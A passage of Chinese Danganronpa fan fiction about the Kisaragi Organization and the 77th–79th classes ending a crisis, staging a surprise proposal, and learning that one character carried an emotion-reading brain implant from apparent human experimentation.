呼啸的风鼓起如月的大衣,头发拂过耳朵,有点痒。这也和那个时候一样。命运像是将他们带到了回环的起点,不同的是孩子们已经不再是孩子了。 “全员听令,”如月拿过凤递来的枪,“下飞机后,立刻往里扔电磁炮破坏可能的炸弹,然后突进去救援!!!” “明白!” 十神转向上原:“你们平时也是这样?” “那样?” “一人下命令,剩下人服从地这么顺利?” “……”上原微笑起来,“您要知道,十神先生,我们从来不是「听从」谁的命令。我们的意志会捆在一起,大和只是恰巧站在「机关长」这个位置上,当一个发号施令的人而已。” “……有人告诉过你这是很令人羡慕的组织形式吗?” “很抱歉,没有。” “很好。”十神扶了扶眼镜,“现在告诉你了。” 如月大和正了正帽子,长舒一口气。 是时候结束这段命运了。 【21:00】 世界已经被他们改变了。 日向创如是想。 本来该在某些节点发生的事情,会被提前,或被强制停止。 本来该在某些时候死去的人活了下来,本来该抱着什么样心境的人换了态度。真相被提前揭露,迟到的人早早到来。生命被延续下去,希望被传递下去。 如此一来……就是所谓「希望」的改变了。 追溯到最开始的话…… 第一个改变了世界的轨迹的人,是不知真名的超高校级的绝望外部干事,或者说……「虚空」。或许他自己都无法预料到,他简简单单的一个“让大家都能活下去”的愿望,改变了注定的命运,为79届生创造了几乎不可能的未来。 虚空……日向苦笑。尽管此后的故事再无虚空的影子,但毋庸置疑,虚空是真正的「主角」。就连日向,不,神座出流,他也受到了虚空的影响……从这一点来看,虚空作为能撼动世界的人,推着79届生走向希望……也属实不易。 而后就该说到如月大和了。一个思想成熟的领导者,当之无愧的机关长。对于这样一个纯粹的人,任何评价都是多余的。 ……苗木诚。勇敢的乐观主义者。就算得知了心爱之人将因自己而死去,也不会轻易放弃希望,主动站到了揭露真相的位置。不愧是能打败江之岛盾子的人……那个女人可是能将虚空与神座出流玩弄于股掌之间的恶意的绝望啊。 日向创抬起头。他喜欢自己如今的模样:拥有神座出流的希望的才能,也拥有日向创永不言败创造未来的勇气。除此以外…… 他看向自己的手心。七海的像素小飞机发卡静静地躺在那里。它承接过神座出流的迷惑和疑问,如今他将带着它去寻找最后的答案。 他看向身后的邮轮上的人们。77届的绝望残党,在他的努力下清除了记忆的障碍,洗去了绝望回到世间。狛枝发现他在看着他们,笑着摆摆左右田刚给他安上的机械手;日向愣了一下,想起这混球在新世界程序里给他带来的无尽头疼,顿时忍俊不禁。 日向创回过头,捏紧手中的发卡。 是时候结束这段命运了。 【21:10】 “啊………” 苗木从绝望影片的幻象中被一拳打醒回过神,才发现不知何时自己已经挣脱了绳子握起匕首。一旁的金城打完一拳惊魂未定,小桥川则一刀捅到监视器上,摇晃的黑白熊吱吱响了一会,变成黑白的雪花消失了。 “二位,我明白了。”苗木缓过神来,坚定地说。 说起来……现在只有78届生死伤最多最惨痛了……苗木苦笑。就算那是绝望的幻象,也足以令人心碎……77届生有未来机关保护,洗去绝望还能变回来;79届生打破了命运,在天运的庇护下走到今天……只有78届生经历了真实的自相残杀,只有大家是真的…… 没关系。没关系的,大家。 我们终有一天会在彼方见面,但不是现在。 我还有未完成的事。请不要怪我,我相信你们一定知道……我必须让希望重新回归世界。 所以不要怪我…… 苗木诚抬起头,让自己的眼神坚毅起来。 是时候结束这段命运了。 【21:30】 “既然如此,时间一定已经来不及了,”金城捏紧拳头,“苗木!小桥川!去找现在还活着的所有人!我去关电阀,现在!!!立刻!!!再晚一点的话时限过去雾切就死了!!” 【21:40】 “为什么是她陷入了绝望,她到底是从什么时候成为了绝望……” 宗方逐渐平静下来,似乎是透支了力气。小桥川终于气不过了,抓起他的头发大吼:“既然没法想象雪染老师绝望的原因,那就停下来,不要再想了!原本的她一定不想看到你如此绝望!” 【22:00】 “非常抱歉,各位。”御手洗打开手中的手机,一改先前的软弱,“我必须承担起我的责任,我必须勇敢起来……!” 他将屏幕转向逆藏:“好了,逆藏先生……你好不容易才活下来,现在去贯彻我的希望吧。” “无论你到底在想些什么,御手洗,”黄樱在被逆藏锁住之前,一如既往地笑了笑:“你要知道,小桥川君和金城已经跑到地面上了哦?” “……?!什么时候?!” “谁知道呢。”黄樱哈哈大笑,“他们可是能重写命运的人。” 【22:10】 “哈……哈………终于……跑上来了………” 小桥川大口大口喘着气,“苗木……他们……真的没……关系了……?” 金城扶着双腿调整呼吸:“我们……已经做到了该做的事情……保护了本来会死的人……剩下的事……就看他们了………” 小桥川点点头,呼哧带喘地坐下来:“这个屋子……确定安全……?” “我怎么知道………” 房间门轰的一声被谁踢开,紧接着大功率手电筒的光晃到二人脸上。两人吓了一跳:刚从地下……或者说水下爬上来,身上什么武器都没有了,这下如果碰上敌人…… “里面的人听好了不要动!!这里是如月机关,立刻缴械投降!!不要做无谓的反抗!!” 疲惫与安心一同涌上身体。金城扑通一声趴倒在地上,小桥川则白眼一翻滑下去大声喊:“别照了!!晃眼!!笨蛋!!” 对方愣了一下,扔下手电筒扑倒他:“美佳子!!冷亲!!晴彦和金城在这里!!!” 小桥川搓着伊良波的头发,忽然感觉自己…… 真是幸福啊。 【22:40】 “哟。御手洗。” 日向创破门而入。 “该说什么,好久不见吗?” 【??:??】 在某一瞬间,某人摁下了一个摁钮。 那之后他改变了世界的走向。 命运自然是注定的。命运从来都是注定的。 但是如果有人的意志凌驾于命运之上…… 如果有人愿意将超越命运的力量用于改写命运,他将创造不可思议的未来。 【23:00】 “咳咳……虽然我知道这时候打扰你们的同学聚会不太礼貌……” 与众人相拥而泣的御手洗亮太听见熟悉的声音,惊喜地转过头,在泪眼朦胧中看见了期待的人影:“如月先生!!好久不见!!” “好久不见,御手洗前辈。” 如月大和笑着挥挥手,御手洗这才发现他身后还跟着许多人。 ……是79届的学生们。 “啊……” 日向创回头,微笑着挥挥手,“是一起来营救被困者的吗。” “可以说,是这样的。”黑川美佳子歪着头微笑,“也想……一起结束这一切了。” “过去的事情,我们已经有赎罪的觉悟了。”边古山佩子走上前,“我们……也从未想过寻求原谅,只希望大家能给我们一个赎罪的机会。” “我们一直愿意如此,虽然这话由我来说,有点可笑……”金城剑抱着胳膊说道,“既然你们能够醒来,恢复到绝望之前的状态,我们自然会相信你们的赎罪。当然了,罪孽是无法被原谅的。” “毕竟如今大家都在向着希望的方向前进吧,”狛枝凪斗讪笑着,挥了挥自己的机械手,“你看,金城先生,我也付出了我的代价。” 如月走上前,和迎来的日向相视一笑,握了握手。 “希望之峰学园79届的超高校级的发明家,如月大和。这是第一次见面吧。” “希望之峰学园77届的……预备学科,日向创。”日向微笑,“对我来说可能不是第一次……您制作的如月A·E对我们有近乎救命之恩的恩情。” “啊,好小子。”如月哈哈大笑,随后两人热切拥抱,捶了捶对方的肩背。后面磨蹭出一个人影,如月看着模糊的影子也能认出来:“苗木!!苗木先生!!” “苗木先生?快来这边!!” “啊……” 苗木诚快步跑上前,眼眶中充盈着闪闪的泪光。 【5:00】 “以后的事情,要怎么办呢。” 真是前所未有的情形啊,苗木诚想。77、78和79届的幸存者首领站在一起,看着平静下来的海面展望未来。 ……就是他们两个有点高。 “我会带领他们回到贾巴沃克岛。”日向趴在栏杆上,回头看着两个后辈,“这次的事件已经安排好了,罪行都安到我们头上——反正我们的罪都不少,不缺这一个。” “如月机关还有另外的事情要做,”如月苦笑,“日向应该知道,天运啊虚空啊,要擦屁股了。” “我……”苗木歉疚地挠挠脸,“我一直……没什么出彩的才能,唯一的优点就是乐观了……这一点比不上二位的话……我觉得我能做的也只有让世界重新充满希望了。” “你打算怎么做?”如月正了正帽子。 “我想……重建希望之峰学园。” 一阵沉默之后,日向发出笑声。 “倒也符合我对苗木的印象,但是世界上的绝望没有完全消失的话,未来机关也会依然存在吧?” “是啊……十神说他会管理的。” “金城也说愿意帮忙。能被我们家阿剑看中的人那可真不一般。” “金城先生真是太厉害了,”苗木激动地说,“日向先生是不是不知道,他的那个,腿……” “便携式钛钢质外骨骼辅助行走器。” “如月,他背不住。” “开玩笑的!叫什么都行,假腿啊棍子啊金刚套啊,我平时叫「那个腿」。” “啊……总之金城先生!用……那个腿!!保护了我们!!非常厉害!!!” “他激动得话都不会说了。” “你要这么说,我觉得手撕铁门的日向更牛逼。” “喂!!” “日向先生……毕竟是超高校级的希望……” “那是神座出流,不是日向创。” “啊抱歉!” “呃,其实我没有在意。” “说到超高校级的希望,苗木似乎也有那个称呼呢。” “啊啊那,这,太羞耻了……” “这么说的话,我自封一个超高校级的「未来」好了。” “那如月先生就……” “别介,从我爷爷在希望之峰上学的时候就是发明家了。这是传统,不能变。” “超高校级的……老传统。” “超高校级的……战国人。” “……你们两个!!!” “开玩笑的开玩笑的!苗木先说的,揍他!” “哎哟!您二位为什么这么高啊?” “啊,我之前一直想着给自己培养个什么才能,生长期的时候天天打篮球。” “……我那个,咳,我那个青梅竹马,从小就比我高,为了超过她我什么办法都用过……” “……我感觉我没有希望了。” “不!你要相信自己!我那边就有一个一年长了四十厘米、从最矮的男生变成最高的家伙,要认识认识吗?” “你们也有那么一个?西园寺也是突然从小萝莉长成御姐的。” “……谢谢你们,不用安慰了。” 三人闹着笑着,在海风里笑声飘得很远很远,摇摇晃晃,像是再晃一晃就会散了一样。 如果没有绝望,他们或许真的会在希望之峰学园里……这样挥霍他们的青春。 命运将他们分到了不同的道路上。77届生被绝望浸染,将绝望送到了全世界,而如今悬崖勒马,要致力于收复世界;78届生直接被绝望屠杀,幸存的人带着已死之人的意志,将希望重新洒向人间;79届生被天运裹挟,在注定的命运中突破出一条新的道路,并一点点搭起了通向真正的幸福的桥梁。 “所以我们的未来,”日向叉起腰,仰起头享受海风,“果然是靠着自己创造出来的。” 如月低下头:“其实……我到现在都不知道我们的存活是不是正确的。被那家伙以强制的方式保护着,还真不是滋味。” “但是你们不仅活了下来,还为世界带来了希望。”日向拍拍他的肩膀,“我作为神座出流的时候……曾认为你们的存活几乎是不可能的,就连最开始那一步,逆转被抹消的记忆那一步,都是极难实现的技术,未来机关研究了至少一年的装置,你能在那种条件下迅速制作出来——从那一刻开始,你们的未来就掌握在自己手上了。” “日向……”如月憋住眼泪呲牙咧嘴地笑了,“真不愧是你。” “……”苗木将目光投向另一侧。77届的“绝望残党”正吵吵嚷嚷地踏上轮船。狛枝凪斗向他跑来,倾情诉说着他对希望的强烈感恩和向往,日向捶了他一拳,而后被几个同学抬走了;79届的几个男生哄笑着围着谁,直升机的螺旋桨逐渐掀起风尘。趁他愣神的时候如月一把伸手捞住二人的脖颈,像个热血的孩子和朋友“勾肩搭背”,然后哈哈大笑,却没能掩饰不住流淌的泪。 “……一定要好好活下去。” “约定好了。” “约定好了!!” 狛枝站在甲板上高喊:“日向君———再不来的话烤肉就没了哦———” 日向创张开手,与两人拥抱:“我先走了。有需要的时候,一定要联系我们。” “该回来了苗木。”“还有收尾工作呢。”雾切和十神呼唤着苗木,他摸了一把眼泪,笑着冲如月挥挥手:“我、我走了,如月先生,不能送别很抱歉!!” “快去快去!”如月笑着推了他一把。 【6:00】 现在独留如月一人,站在栏杆外,看着渐渐远行的轮船。 他想起一年前的那一天。一样是从天际缓缓落下的太阳,一样是一望无际的海面,一样是呼啸的直升机,一样是背后的一片废墟。 日向创会带着朋友们努力清除世间的绝望,苗木诚则会重新建立希望。 而我们…… “喂!!大和!!该走了!!” 他回过头,看见金城和美佳子在向他招手。 命运使我们活了下来。我们开辟了自己的命运。 “……来了!!!” 如月拉着铭苅伸出的手,踏上直升机舱。熟悉的播报从机载广播里传来:“全体乘客请注意:系好安全带并带好降噪耳机,不会系安全带请不要着急工作人员会帮助操作,请注意衣摆、头发等物体,不要夹进安全带和耳机里……” “大家都知道的话就不用再说啦晴彦!!!” “这是规矩,规矩嘛……” “你们两个,回去再腻歪。”牧清香扛着枪翻白眼。“好了,如月老大,我们该走了吧?” …… 一年前也是如此,只是大家都…… 孩子们都长大了。不再彷徨,不再绝望。 “好了。”如月大和站起身,发现窗外的78届幸存者们在向他们挥手。海上的邮轮已经开远,很快就会走到天边,再也看不见。 他回过身,看向机舱里的诸位,像往常一样呲牙笑起来。 “如月机关,返航!!” 在冉冉升起的旭日中,79届生翱翔于天际,目的地是…… 他们共同的家。 10. 天运终结篇 如果所有的命运最终追溯到一条路线上,如果获得无限的幸福后发现这不过是一场梦境,如果美梦是一触即破的泡沫…… 如果一切努力都只是徒劳,你还会拼命建设自己的幸福吗? 如果你的所有幸福都是虚假的,如果你的爱、你的恨、你的余生不过是某人的一场梦…… 你会打破这个梦吗? 夏夜的如月机关总是如此安静。夜色中忙碌的诸位总算能安静下来,拿着手持小风扇嗑瓜子唠嗑(点名表扬某警官吃完瓜子自己收拾好吐出来的皮),偶尔能在路灯下逮住一些手拉着手遛弯的小对象。晚上的篮球架底下也总有那么一两个人,或许只是路过,或许手上连球都没有,空投也得摆摆架势。 世界在逐渐安定下来。未来机关那次事件后,曾经的绝望残党们揽下本不属于他们的责任,在贾巴沃克岛上暗中支持未来机关和如月机关的工作;苗木诚则开始着手重建希望之峰学园,十神白夜则继续领导未来机关,清除残余的少量绝望势力。 至于如月机关…… “马马虎虎,还和以前一样,”机关长如是说,“大家一边忙着复兴自己的行业,一边收拾着绝望的残余。” “一切都在步入正轨。”副机关长补充,“虽然……如月机关被称为了「次世代希望的象征」,什么「在黑暗中保护世界的英雄」……” “我能猜到是谁在发布这样的新闻……” “…………我也能……” 如月和金城相视一笑。毫无疑问,是那个背着天运的记者。 ……莫名其妙多了与许多人的羁绊。 “……回去以后喝两瓶?” “行。别喝太多。” “上次你喝断片儿了知道谁给你抬回去的吗” “……驱吧?” “笑死,是照屋。” “他到底怎么长那么高的?” “未解之谜。” “黑川的手术什么时候……” “给那俩整完活就去,日向等了很久了。” 当然了……还有没完成的约定。 如月架着望远镜,眯着眼看着如月机关宿舍楼中间的绿化带过道……上的两个人影,如是想到。 这地方真是妙极了。矮矮的灌木不遮挡视线,能看见星星甚至还有萤火虫……论搞浪漫果然还得是小桥川。 “目标接近,全员警戒……” “五……四……三……二……” “作战开始,美佳子上场!” 黑川美佳子拍拍伊良波五月的脑袋:“五月酱!这么晚还出来遛弯啊?” “快快快跟上,美佳子去勾搭伊良波了,剑快过去!!” 伊良波甩手指向小桥川:“是晴彦亲说要晚上出来遛弯的。” “花送到了。光弘,看你的!” “哎呀!”黑川笑了笑,忽然听见吧嗒一声,连忙和神色慌张的小桥川使了个眼色。 “小点声伊良波回头了!美佳子,拖住她!” 黑川连忙将一盒看着就甜腻的东西塞到伊良波手上:“要不要尝尝我刚做的慕斯呀?” “好了好了戒指踢手里了,近次,准备上!” “为什么要拉着我……” “……到现在还想反抗,嗯?照屋,驱,拖他过去。” 伊良波高兴地往黑川身上一扑:“太好了!五月今天正好没吃晚饭就被带出来了!美佳子亲最好啦!” “好嘞头儿……龙太郎?” “我好了。姐?” “没得问题。佳奈多?” “干冰都准备好了!冷?” “……屋里都安排好了,快点吧!” 黑川使劲眨了眨眼,收到信号的小桥川咕咚一声咽了咽口水,攥紧手中的花束和戒指。耳机中再次传来倒数,他紧紧咬住下唇。 “……三……二……一!!!” 黑川轻轻推开伊良波:“好啦,该回去啦。” “嗯!……诶?” 礼炮带着拉花从两边宿舍的窗口轰然响起,背后的原本黑漆漆一片的宿舍楼有规律地亮起,颇为壮观的巨型“I Love You”被一间间宿舍的灯光打在墙上;不知从何处升起的烟雾裹挟着花的香气,卷进伊良波(已经无法呼吸的)鼻腔。 小桥川——也是这一切的策划统筹、幕后黑手、始作俑者,正顶着严肃的大红脸,一手抓着花一手端着戒指,单膝跪地,紧紧盯着她。 “伊良波五月小姐,我来遵守约定了。”尽管话语被颤音扭曲得有点好笑。“你说我是个笨蛋,要求重新来一次求婚送戒指——我来了。” “诶,诶,”伊良波下意识捂住嘴向后退了几步,“美佳子,美佳子?” 黑川早就跑得无影无踪。 “伊良波五月小姐,”小桥川保持着表情镇定地说,“请……回应我!” “我、我,” 伊良波感觉脑子里像在放烟花,烧的乱糟糟的。 “我,我愿意呀!我,我,我……我,我当然,我当然愿意啦,我……” “啊,啊……然后应该……” “伊良波五月小姐,请把手放在这里。” “诶,好……诶诶诶诶诶上原?!” 不知从哪窜出来的上原近次微笑着端着圣经,拉着伊良波停在半空不知所措的手放在上面,而后扯起小桥川:“小桥川晴彦先生,请把手也放在这里。” 小桥川手忙脚乱地站起身,手中的花被(同样不知从哪窜出来的)凤一把薅走。这下他能像往常一样看着她了……尽管伊良波正因手足无措盯着脚尖。 上原往楼上瞟了一眼,如月连忙捅开音响,给他比了个ok。上原安心地点点头:“首先……伊良波,不要太紧张了。只是一个过场,无论如何上帝都会祝福你们的。” “诶,诶……” “晴彦,你也一样。放轻松。” “啊,啊……” 这俩人一个比一个呆。 “……伊良波五月小姐,你愿意小桥川晴彦成为你的丈夫,作为朋友和伴侣生活在一起吗?你爱他、尊重他吗?你愿意与他平等、共同分享快乐,无论痛苦、胜利还是在困惑中?” “我……啊!我愿意!” 伊良波抬起亮晶晶的眼睛,而后用亮晶晶的眼睛盯住小桥川。“虽然晴彦是个傻瓜……但是五月最喜欢你了!!” “那么小桥川晴彦先生。”上原带着职业微笑转向小桥川,“你愿意伊良波五月成为你的妻子,作为朋友和伴侣生活在一起吗?你爱她、尊重她吗?你愿意与她平等、共同分享快乐,无论痛苦、胜利还是在困惑中?” “老实说,我曾经没能做到前面那些。”出人意料的,他没有直接回答,而是盯住伊良波亮晶晶的、盯着他的眼睛。“我曾一意孤行,把我所谓的爱束缚给你……五月是自由的鸟,不该被我拴住。所以现在我要补偿给你———这可是你想要的吧,小笨蛋———我愿意和你同甘共苦度过下半辈子。这一生能遇见你,真是太好了。” 上原心满意足地抬起头:“有人不同意他们的婚约吗——————” 如月拍了拍麦克风,乱七八糟声音一齐喊了出来:“没有——————” “好了,交换戒指。”上原绷住笑回到本职,“结婚戒指象征着永恒;象征着两颗拥有无尽的爱的心与灵的永远的结合。现在,将你们的爱和殷切的渴望、你们的心与灵永远结合的愿望,作为礼物送给对方吧。” “诶,”伊良波慌张地抬起头,“交换?!我、我没有准备呀……” “所以我买了两个。”小桥川坏笑着拉过她的手,“一个是那天给你带出未来机关的,一个是我新买的……你看喜欢哪个?” 上原:?哪有这么送的,一个人买两个??? “我还是喜欢原先这个。它好漂亮。” “我就知道。来,我给你戴上……” “干嘛这么突然嘛,吓了我一跳……还有为什么会有这么多氛围组?你们提前都安排好了?” “那可不。”他伸手刮了刮她的鼻尖,“这不是要给你个惊喜嘛。” “晴彦,坏!!好大的手……比五月大出整整一个半指节。” “所以总能抓住你嘛。” “……不要说这种话啦,五月会害羞的。” “……为什么近次还在这里?” 上原眯起眼,用眼睛告诉他“你以为我想在这里?”然后沉稳地说:“祝福你们,愿仁慈、宽厚的主眷顾于你们。主会降福瑞于你们,保你们安宁。万能的主能给予你们所不能的,欢乐、和睦是主对你们忠诚的褒奖,是这世间所不能给予的,也不能带走的。这都依靠耶稣基督。我们要永远赞美我们的主……最后一个环节,小桥川晴彦先生,你可以亲吻你的新娘了。” 如月愣了一下,然后举起麦克:“呜呜———亲一个!!亲一个!!!!” 原本也呆住了的众人:“………呜——————!亲一个!!亲一个!!!” 上原得意地笑起来。起哄果然是人类的本能。 “……等等,计划里没说有这条,你是不是故意的?别跑,你给我站住!!我草,别跑!!!” “晴彦……别追啦!” “不是,我……!!” 伊良波跳起来抱住小桥川,主动亲了上去。 在场的观众顿时鸦雀无声。 “啪嗒”。某根名为理智的弦在小桥川脑子里彻底熔断。尽管已经很多次了,尽管早就熟悉了彼此,尽管…… 我还像最初那样疯狂地热烈地爱着你啊。 美丽的梦该醒了,孩子们。 是时候看看世界的真相了。 “一个以读取为主的小玩意儿,应该是传递情感信号和记忆什么的,有个无线电发射装置。” 日向创夹起那个已经洗干净了的小东西,皱着眉说,“原理类似于神经递质传递,恐怕是在婴幼儿时期颅骨未闭合期间就放进去了。” 如月沉默着看向还没从麻醉中醒来的黑川。为了这场开颅手术她剃去了漂亮的黑发,打麻醉之前还笑着跟他说已经挑好了喜欢的假发以后可以天天换发型了。现在……套着呼吸机一改平日叽叽喳喳的样子,看着让人揪心。 “这东西看着像二十年前的。”左右田和一说,“待会给我,去测测年代。” “……目的是什么?” 日向抬起头,神情复杂地看着如月,不知如何回答他的问题。 “我也不清楚。太难以想象了……为什么会把这么个东西放在孩子大脑里?幸好事故只是漏电损坏,否则黑川小姐性命难保啊。” 一旁的罪木蜜柑叹着气摘下口罩:“而且……为什么她这么瘦啊……本来个子就高,身上又几乎没什么肉……” “我说你可别不信哦,”祷佳奈多吐槽,“美佳子天天吃甜食,就是胖不起来。” 如月感激地看着她们。他知道女孩们在试着缓和气氛———如月机关的医生们和才能与医学相关的希望之峰的学生、包括全才的日向一齐给她做会诊,又花了七八个小时才一点点把几乎嵌在脑中的装置取了下来。按日向的话说,稍微失误一点都不行,植入的时间实在太长了。 至于如月……黑川躺了多久,他就愁了多久,饭都懒得吃。贾巴沃克岛上的前·绝望残党们时不时会找他说说话试着让他振作一点,他只能漫不经心地回答。 况且……除了美佳子的事,还有失踪的A·E和新世界程序。 “在我们坐船前往未来机关的基地的时候,我听见了直升机的声音,上面标着如月机关的标识,”狛枝凪斗说,“我们当然认为那是来取回A·E的,所以并未在意。但是我们回来的时候,无论是新世界程序的主机系统还是应该还在其中运行的如月A·E,都不知所踪。” “如月A·E是如月机关的财产,所以日向同学在复原七海同学的ai和兔美ai时并未将其一同复原。”索尼娅叹气,“虽然当时的时间也不多……但是说不定会有所改变……” 狛枝摇摇头:“这倒是不对哦,索尼娅。事实上,如果不是如月A·E直接接入程序、推进了进度……我想连七海同学的ai都来不及复原了哦。” 左右田不满地咂舌:“你怎么知道?” “所谓预定调和而已。”狛枝笑笑,“如果没有外来因素影响,命运的轨迹或许不该像如今这样。” “总之,”如月摆摆手,示意他不要再说了,“我们派出接回A·E的队伍并没回来,A·E就此不知所踪……十神正在调查这事,你们也能帮忙真是太好了。” “赎罪而已。”边古山佩子抱着她的竹刀说,“而且啊……黑川小姐可是能唤起绝望的人的记忆的高尚之人。” 如月竭力笑笑。 ……… 是如月机关出了内鬼,不可能有其他解释了。 不可能是上层的79届生们,没人有那动机去偷程序。不可能是家属们,理由一样。范围很容易缩小到搭着直升机去贾巴沃克岛的那个队伍里,但那个五人小队全都一同失踪了,根本无从调查。 凤超市的情报网在努力搜集证据,雾切也同意帮忙调查。铭苅和友利都忙坏了,但到现在为止还是没什么成果。 ………然而归根结底,还有一个最关键的问题没能解决: 为什么要盗走A·E呢? “请好好解释一下,平良茜。” 金城努力遏制住自己的愤怒,把报案信息扔到她眼前。“失踪人的名字和身份信息,你给我好好读出来。” “前田勇气。”平良面不改色。 “……而你坚称对此毫无头绪?” “没错,金城,我对此毫无头绪。”平良冷静地说,“我的确不知道为什么早就被释放的真正的前田勇气先生会失踪,我真的不知道……” “你究竟还有多少事瞒着我们。” “……” 金城忍无可忍,拔出腰间的手枪指着她的额头。时隔一年他的枪口再次对准了平良,只是这次他在努力抑制颤抖。 “……平良茜。我不愿意对同伴下手,回答我的问题!!” “别这样,金城。”平良安静地说,“我真的不知道……来到如月机关以后我第一次运用天运就是让束缚前田先生的装置失效、让他醒来,那之后也让菖蒲酱去看过他的生活……” 金城抬起头,锐利的目光转向波多乃:“你早就知道了?” 被叫来站在一边的波多乃搓着衣角,像是被老师批评了的孩子:“对不起,我真的以为不是什么大事……” “如果不是我盘问,我们都不知道为何虚空的真名并非前田勇气。”金城压着自己的声音,尽可能让它听上去没那么愤怒。他转向紧皱着眉头的铭苅和上原:“如何?这就是我们该死的信任。” “……因此我可以认为前田勇气失踪一事与平良毫无关系。”铭苅大声说,“连她自己都没把前田勇气当作一回事,何必花大心思去绑架他?” “但是毫无疑问,这不是偶然。”上原支着下巴说,“因为———你们看,失踪的时间,是不是很熟悉的日期。” 金城收起枪和怒气:“未来机关出事那天。” “不觉得太巧合了吗?”铭苅挑眉,“那天都发生了什么事?未来机关被天愿那个疯老头组织着自相残杀,A·E被盗,再往前两天美佳子突然晕倒,现在还要加上一个虚空的替身被绑架。如果说是巧合的话……未免也太巧了一点。” “你的意思是……除了未来机关那档子事,剩下的事情,都是有关联的?” 平良闭上眼。 虚空大人…… 对不起,看起来您的长眠要被打扰了。 梦。安安静静的梦。 梦里有人拉着她的手,带着她走在公园的草地上。梦里她睡眼惺忪地扎起头发,打着哈欠走到餐厅手,对着谁说早啊早啊。梦里她挽着谁的手臂,扬起手中的购物袋子,鞋子在瓷砖上踏出哒哒的声响。梦里她拿着奖状,带着大大的学士帽和谁一起合影。梦里她站在码头上摁住快被风吹起的帽子,看着远处的渡轮上谁伸手向她打招呼。梦里响起钢琴和管风琴的声音,谁举着十字架,谁捧着她的手泪流满面。 梦里有人拉着她的手,撒娇似的躺到她大腿上,伸出一只手挡住阳光。 她知道自己在做梦。她希望梦再延续一段时间,一会儿就好。 ……或者当自己醒来时,有人坐在病床边上,笨拙地削着苹果。 她知道自己喜欢梦。她知道自己希望梦能延续。 但是梦该醒了。 黑川美佳子睁开眼,满意地听见削苹果的声音,舒舒服服地打了个哈欠。 “醒了?” 削苹果的人听上去倒是没那么舒服。如月跟着打了个哈欠,把削了一半的苹果塞她手上:“喏。现在什么也不要想了,好好休息吧。” “叫你削苹果你还真就削个苹果是吧。” “还想吃什么?先说好,这岛上可没那么多好吃的。” “………你哭过吗?” “啊?” 如月慌慌张张搓搓眼睛:“啊没事,就是没睡好而已哈哈。” “………说实话。” “就,担心你嘛,没睡觉罢了……” “说实话。眼睛红的。” “我,我揉过眼睛……” “三,二……” “好吧。”如月重重的叹了口气,抓住她的手。“你先做好心理准备。左右田查出了很离谱的事情。一切都串起来了。” “………你说。” “我们可能找到你的亲生父母了。” 尽管设想了无数种可能,这句话还是把黑川定在原地,想了半天也没明白。 “………诶?” “从你脑子里取出来的那个装置,是十九年前的,一种情感读取和信号发射一体机。”如月坐到床上伸手摸她的脸,“左右田和日向去查了信号发射终端,发现了接收信息的那台电脑,解析了四五次ip地址,它的主人名叫……黑川心。先等等,听我说完,这可是你自找的。现在黑川心似乎是个心理学家,对外宣称丈夫和女儿失踪,丈夫的名字是……黑川宗次郎,而女儿……连官方的户籍都没有登记。好了,美佳子,过来。” 不等她反抗,如月一把将她抓住抱紧,索性一股脑说出来:“七海和不二咲的Ai都在抓紧时间骇入黑川心的电脑,到目前为止还没有什么进展。铭苅和剑把几次事件联系到一起了,雾切帮忙查出了一个叫桥本上倍的雇佣杀手,现在被照屋高价反雇,透露了更多的消息……” “你先等等。”美佳子挤出声音,“先别说别的……黑川宗次郎?黑川心?我的亲生父母?你在,你在开玩笑吧,别耍我……” “……哈哈,你看,我本来还想多保密一阵子呢。” “……半藏叔叔查了十几年的事情,突然全都……?” “那可是日向啊,一群专业对口的超高校级不比我爸厉害。” “可是,可是……” “按理说只凭着黑川这个姓氏的线索应该至少能查到些什么,但是问题就是那个黑川心如今并不常以这个名字行动,而是改为了她的婚前姓,光目,所以唯一的线索断在这里……” “你等一下,我需要捋顺一下。” 她习惯性想抓着头发想事情,不料忘记了头发已经剃光的事实,干脆抓住他的衣袖。 “首先,从我大脑中取出的装置,在向一个叫黑川心的女人发送信号。” “嗯。具体来说是脑电波形成的情感与记忆信号。” “然后,这个黑川心是个心理学家。” “嗯。一个没什么名气的心理学家。” “然后,她有一个失踪的丈夫和一个女儿,丈夫名为黑川宗次郎,女儿连名字都不知道。” “……嗯。” “所以你们从这些,推断出她是我的生母?”她抬高了音调,语速也急促起来,“我才不相信,这是你们编好了来逗我的吧?别骗人了!!” “对不起……” 她多希望他抬起头以后像往常一样笑起来,嘎嘎乱叫着说上当了看看上当了吧。她会气急败坏地揍他,然后拿着苹果多啃几口。但是他只是再次紧紧抱住她。她喘不过气,只能睁大眼睛。 “……你想知道日向他们的推论吗?” “光目心,无父无母,患有情感表达障碍。”日向说,“发表过几篇论文,基本都是关于人脑与情感关系的,没受到什么重视。但是我认为,她很有可能拥有超凡的……能力,我是说,近乎于读心术的能力。” 屏幕中的七海ai看向大家:“在距今19年左右的光目心发表的论文中,她展现出了对人类「原始情感」的好奇。那之后她的名字曾出现在……医院的精子库咨询挂号中,不久后与黑川宗次郎登记结婚。” 日向神情复杂地看向七海ai:“……再后来呢?” 七海摇摇头:“那之后她的名字消失了很久很久……黑川宗次郎也是。再然后大约五年左右,他们所在的实验室解散了,黑川宗次郎也就此失踪,最后一次出现是在……” “这里,对吧?” 如月指着地图,意味深长。 “没错。”日向点点头,“然后很快就是什么摄像头都看不见的地方了,他像是跑到了林子里。这时候的日期,大概是四月……” “没错,四月。” 黑川美佳子愣愣地看着他们,哆哆嗦嗦地靠在祷身上:“然后,然后呢……” “接下来就是我的推论了,”狛枝站起身,“黑川小姐……恐怕你的生母是为了研究「原始情感」才和你父亲生下了你。至于为什么令尊要带着你离开她……是因为你就是为了那个实验而出生的、作为人体实验用的孩子。” “不可能!!!” “狛枝,”如月瞪了他一眼,“想好了再说话。” “抱歉抱歉,我可能说的太直白了一些。”狛枝歉疚地摆摆手,“但是我想应该有可以证明的证物吧……日向君觉得呢?” “狛枝又在让日向君出示证物了。”七海吐槽。 “………情感读取与发射装置。”日向叹气,“这听上去太离谱了……但是确实是最后的解释了。那东西和大脑的连接程度太高了,颅骨上也并未发现曾进行开颅手术的痕迹,只能是在婴儿时期、甚至刚出生就植入了那东西。而且,黑川小姐有一些经历了人体实验的痕迹:你记得自己五岁以前的事情吗?” 美佳子只能瞪大眼睛。 “……我有过那样的经历,我当然知道。”日向苦笑着撩起刘海,指指发际线下的疤痕,“记忆或多或少会受到干扰,连人格都有可能忘记。” “不……” “够了,日向。”如月挥挥手示意他们离开,“祷,没什么事的话也出去吧,记得联系铭苅他们。这里有我就够了。” 门轻轻地关上了。如月摘下帽子狠狠拍了拍自己的脑门,回身坐到床上支起下巴。 作为人体实验品出生这种事,怎么想都太…… 